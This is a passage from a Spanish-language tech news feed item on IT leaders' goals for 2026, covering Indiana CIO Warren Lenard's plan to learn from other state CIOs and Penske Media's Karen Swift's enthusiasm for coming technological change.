<p>Para ello, prevé apoyarse tanto en enfoques tradicionales —como la colaboración con Recursos Humanos para identificar oportunidades formativas— como en nuevas iniciativas, entre ellas horas de oficina y sesiones de<em> coaching</em> individual que refuercen el papel de TI como socio estratégico en la transformación.</p>



<h2 class="wp-block-heading">8. Aprender de otros CIO</h2>



<p>Warren Lenard asumió a principios de 2025 el cargo de CIO del Estado de Indiana EE. UU.) tras una carrera en el sector privado. Su misión incluye consolidar y racionalizar los servicios de TI, optimizar el gasto y los contratos con proveedores, y estandarizar plataformas para maximizar el uso de los recursos disponibles.</p>



<p>Aunque estas tareas son habituales para un CIO, Lenard reconoce que “existen matices y perspectivas diferentes en el sector público”. Por ello, quiere aprender de la experiencia de otros CIO estatales.</p>



<p>Así, explica que “me he reunido con algunos, pero quiero hacer una gira más amplia. Hay estados que ya han abordado iniciativas similares a las nuestras y alinearnos con ellos puede ayudarnos enormemente y evitar errores”.</p>



<h2 class="wp-block-heading">9. Formar parte de lo que venga después</h2>



<p>Karen Swift, vicepresidenta de TI de Penske Media, afronta 2026 con una mezcla de curiosidad y entusiasmo. Aunque no sabe exactamente qué deparará el futuro, tiene claro que se avecina una transformación impulsada por la tecnología y quiere formar parte de ella.</p>



<p>Reconoce que “siempre he sido curiosa, y creo que esa es una cualidad esencial para cualquier líder de TI. Por eso quiero avanzar hacia lo que venga después. Creo que va a ser muy divertido”, afirma, describiendo el momento actual como un auténtico “renacimiento tecnológico”.</p>



<p>Y concluye reconociendo que “puede que esté un poco loca por no querer bajar el ritmo, pero estoy muy ilusionada por descubrir qué viene y cómo puedo contribuir a ello”.</p>
</div></div></div></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,46ms -->